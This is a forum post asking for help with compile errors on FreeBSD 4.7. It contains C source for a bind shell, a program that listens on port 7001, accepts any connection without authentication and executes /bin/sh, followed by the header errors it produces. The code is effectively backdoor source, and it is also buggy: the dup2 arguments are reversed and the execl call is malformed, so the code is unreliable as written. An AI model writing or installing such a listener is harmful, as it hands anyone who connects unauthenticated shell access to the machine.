header errors when compiling

[lattera]

this code:
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <unistd.h>
startserver()
{
int sockfd, newsockfd, clilen;
struct sockaddr_in server, cliaddr;
bzero((char *)&server, sizeof(server));
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = htons(7001);
server.sin_family = AF_INET;
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror("socket");
exit(1);
}
if (bind(sockfd, (struct sockaddr *)&server, sizeof(server)) < 0)
{
perror("bind");
exit(1);
}
if (listen(sockfd, 5) < 0)
{
perror("listen");
exit(1);
}
while(1)
{
if ((newsockfd = accept(sockfd, (struct sockaddr *)&cliaddr, &clilen)) < 0)
{
perror("accept");
exit(1);
}
if (dup2(fileno(stdout), newsockfd) < 0)
{
perror("dup2");
exit(1);
}
if (dup2(fileno(stdin), newsockfd) < 0)
{
perror("dup2");
exit(1);
}
if(dup2(fileno(stderr), newsockfd) < 0)
{
perror("dup2");
exit(1);
}
if (execl("/bin/sh", NULL) < 0)
{
perror("execl");
exit(1);
}
}
}
// end of code
produces this error when compiled:
/usr/include/sys/socket.h:52: syntax error before `sa_family_t'
/usr/include/sys/socket.h:52: warning: data definition has no type or storage class
/usr/include/sys/socket.h:163: syntax error before `u_char'
/usr/include/sys/socket.h:174: syntax error before `u_short'
/usr/include/sys/socket.h:188: syntax error before `u_char'
/usr/include/sys/socket.h:190: `int64_t' undeclared here (not in a function)
/usr/include/sys/socket.h:190: `u_char' undeclared here (not in a function)
/usr/include/sys/socket.h:190: size of array `__ss_pad1' is too large
/usr/include/sys/socket.h:191: syntax error before `int64_t'
/usr/include/sys/socket.h:192: `u_char' undeclared here (not in a function)
/usr/include/sys/socket.h:192: `int64_t' undeclared here (not in a function)
/usr/include/sys/socket.h:192: `u_char' undeclared here (not in a function)
/usr/include/sys/socket.h:192: `int64_t' undeclared here (not in a function)
/usr/include/sys/socket.h:359: syntax error before `pid_t'
/usr/include/sys/socket.h:364: syntax error before `gid_t'
/usr/include/sys/socket.h:399: syntax error before `u_short'
/usr/include/sys/socket.h:407: syntax error before `caddr_t'
/usr/include/sys/socket.h:411: syntax error before `caddr_t'
/usr/include/sys/socket.h:444: syntax error before `recv'
/usr/include/sys/socket.h:444: warning: data definition has no type or storage class
/usr/include/sys/socket.h:445: syntax error before `recvfrom'
/usr/include/sys/socket.h:445: warning: data definition has no type or storage class
/usr/include/sys/socket.h:446: syntax error before `recvmsg'
/usr/include/sys/socket.h:446: warning: data definition has no type or storage class
/usr/include/sys/socket.h:447: syntax error before `send'
/usr/include/sys/socket.h:447: warning: data definition has no type or storage class
/usr/include/sys/socket.h:448: syntax error before `sendto'
/usr/include/sys/socket.h:449: warning: data definition has no type or storage class
/usr/include/sys/socket.h:450: syntax error before `sendmsg'
/usr/include/sys/socket.h:450: warning: data definition has no type or storage class
/usr/include/sys/socket.h:451: syntax error before `off_t'
//end of error
I am using FreeBSD 4.7-release:
FreeBSD 4.7-RELEASE FreeBSD 4.7-RELEASE #1: Sun Jan 19 17:46:33 MST 2003 shawn@:/usr/obj/usr/src/sys/FIREWALLED i386
I don't know what's happening. Thanks,
lattera

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